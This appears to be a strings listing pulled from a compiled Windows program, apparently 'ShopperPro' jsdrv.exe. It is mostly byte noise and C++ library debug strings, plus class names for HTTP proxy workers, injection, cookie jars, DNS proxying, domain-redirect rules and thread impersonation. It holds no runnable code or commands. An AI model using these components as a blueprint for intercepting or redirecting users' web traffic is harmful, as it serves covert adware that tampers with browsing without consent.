.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zc�

.?AVCHttp@@

2.0.7791.1486

%Program Files% (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

7#777=7\7

6f6F6X6

>2?8???}?

< <$<(<,<0<4<~<

5#565;5|5

:,:0:4:8:<:

8-8}8

0-0A0U0i0}0

= >%>[?`?

1 20252:2

:*:8:&;5;|;

?/?4?9?|?

6 6$6(6,6

=,>0>4>8><>@>

*0004080<0

&0 000|0

9�9S9^9

="=(=5=:=@=

91969;9{9

9(9[9`93:

3?3T3f3n3

7 7$7(7,7

= =$=(=,=0=4=

1 1$1(1,1014181<1

2 2$2(2,2

; ;$;(;,;0;

4 4$4(4,4044484<4@4

; ;$;(;,;0;4;8;<;@;

9 9$9(9,9094989<9@9

,<0<4<8<

8 8$8(8,8084888<8$>(>

5 5$5(5,5054585<5

? ?$?(?,?0?4?8?

9$9,989\9|9

3(303<3`3

;,<8<\<|<

>$>,>8>\>|>

;$;,;4;@;`;

=(=0=<=`=

: ;,;4;`;

1$1<1@1`1

3 3$3<3@3\3`3|3

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator

]std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator --

std::vector<struct hostent *,class std::allocator<struct hostent *> >::operator []

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator *

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator --

std::_Vector_const_iterator<class std::_Vector_val<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\regex

std::_Vector_const_iterator<class std::_Vector_val<char,class std::allocator<char> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator

std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator --

